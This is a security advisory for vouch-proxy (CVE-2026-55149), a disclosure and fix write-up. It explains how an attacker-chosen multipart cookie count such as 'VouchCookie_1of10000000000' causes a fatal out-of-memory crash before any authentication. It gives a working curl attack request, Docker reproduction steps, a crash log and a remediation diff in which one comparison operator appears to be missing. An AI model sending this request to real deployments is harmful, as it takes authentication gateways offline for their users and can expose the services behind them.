GitHub Advisoryadvisory · Go
GHSA-qqff-5854-px68 vouch-proxy has an Unbounded Multipart Cookie Allocation DoS
HIGH
Official page ↗
- Aliases
- CVE-2026-55149
- Ecosystem
- Go
- Packages
- github.com/vouch/vouch-proxy
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-789
- Reviewed
- 2026-08-20
Affected packages
• Go github.com/vouch/vouch-proxy: < 0.48.0 → fixed in 0.48.0
Description
Unbounded Multipart Cookie Allocation DoS in vouch-proxy
Summary
vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.
Details
The vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:
```go
// pkg/cookie/cookie.go:123–130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
cookieParts = make([]string, numParts) // sink: unbounded allocation
}
```
The value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call.
The complete exploit path from network entry to crash:
1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.
2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` before any authentication check.
3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`.
4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header.
5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `"of"`.
6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.
7. `pkg/cookie/cookie.go:130` — sink: `make([]string, numParts)` attempts a gigantic heap allocation.
Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.
A suggested remediation is to add a strict upper bound and format validation before the allocation:
```diff
--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
• xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
• xyArray := strings.Split(xOFy, "of")
+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+ partStr, totalStr, ok := strings.Cut(xOFy, "of")
+ if !ok || partStr == "" || totalStr == "" {
+ return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+ }
if numParts == -1 {
• if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+ if numParts, err = strconv.Atoi(totalStr); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
+ if numParts maxCookieParts {
+ return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+ }
cookieParts = make([]string, numParts)
}
```
PoC
Environment setup
Build the vulnerable image from source (requires the vouch-proxy repository at the path below):
```bash
docker build \
-f vuln-001/Dockerfile \
-t vouch-vuln001 \
repo
```
Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):
```bash
docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001
```
Wait for the server to respond to a baseline request (expected HTTP 302 or similar):
```bash
curl -v http://127.0.0.1:19090/validate
```
Attack request
Send a single unauthenticated HTTP GET with the malicious cookie name:
```bash
curl -v http://127.0.0.1:19090/validate \
-H 'Host: app.example.com' \
-H 'Cookie: VouchCookie_1of10000000000=x'
```
Alternatively, run the automated PoC script:
```bash
python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000
```
Expected result
The server process crashes immediately with a Go runtime fatal error. Container logs show:
```
fatal error: runtime: out of memory
runtime.makeslice(0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
/src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
/src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
/src/pkg/jwtmanager/jwtcache.go:54
```
The container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.
Minimal configuration (no real OAuth provider required):
```yaml
vouch:
logLevel: info
listen: 0.0.0.0
port: 9090
domains:
• vouch.github.io
oauth:
provider: indieauth
client_id: http://vouch.github.io
auth_url: https://indielogin.com/auth
callback_url: http://vouch.github.io:9090/auth
```
Impact
This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.
An attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.
No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001 — Unbounded Multipart Cookie Allocation DoS
vouch/vouch-proxy v0.47.2 (commit b683f60)
Attack: GET /validate with Cookie: VouchCookie_1of=x
-> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
-> make([]string, ) triggers an immediate OOM fatal in the Go runtime
-> Server process crashes; no authentication required
Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder
WORKDIR /src
COPY . .
Build a statically linked binary; skip do.sh which requires live git tags.
Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
go build -v \
-ldflags="-s -w \
-X main.version=b683f60 \
-X main.uname=linux \
-X main.builddt=2024-01-01T00:00:00Z \
-X main.host=vuln-poc \
-X main.semver=v0.47.2 \
-X main.branch=main" \
-o /vouch-proxy .
---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /vouch-proxy /vouch-proxy
Minimal config: allowAllUsers so startup succeeds without real OAuth,
default cookie name VouchCookie matches the PoC payload.
RUN mkdir -p /config && cat > /config/config.yml << 'EOF…
Related
Alias · CVE (1)
- CVE-2026-55149 Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. vulnerability
Weakness · CWE (1)
- CWE-789 Memory Allocation with Excessive Size Value weakness